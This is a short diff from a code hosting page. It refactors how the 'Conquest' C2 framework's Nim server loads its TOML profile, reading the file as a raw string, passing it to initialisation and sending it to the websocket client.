||||
cq.dbPath = CONQUEST_ROOT & "/" & cq.profile.getString("database-file")
|
||||
cq.client = nil
|
||||
return cq
|
||||
|
||||
@@ -54,7 +55,7 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
|
||||
|
||||
# Send relevant information to the client
|
||||
# C2 profile
|
||||
cq.client.sendProfile(cq.profile)
|
||||
cq.client.sendProfile(cq.profileString)
|
||||
|
||||
# Listeners
|
||||
for id, listener in cq.listeners:
|
||||
@@ -140,11 +141,10 @@ proc startServer*(profilePath: string) =
|
||||
|
||||
try:
|
||||
# Initialize framework context
|
||||
# Load and parse profile
|
||||
let profile = parsetoml.parseFile(profilePath)
|
||||
cq = Conquest.init(profile)
|
||||
let profileString = readFile(profilePath)
|
||||
cq = Conquest.init(profileString)
|
||||
|
||||
cq.info("Using profile \"", profile.getString("name"), "\" (", profilePath ,").")
|
||||
cq.info("Using profile \"", cq.profile.getString("name"), "\" (", profilePath ,").")
|
||||
|
||||
# Initialize database
|
||||
cq.dbInit()
|
||||
|
||||
Reference in New Issue
Block a user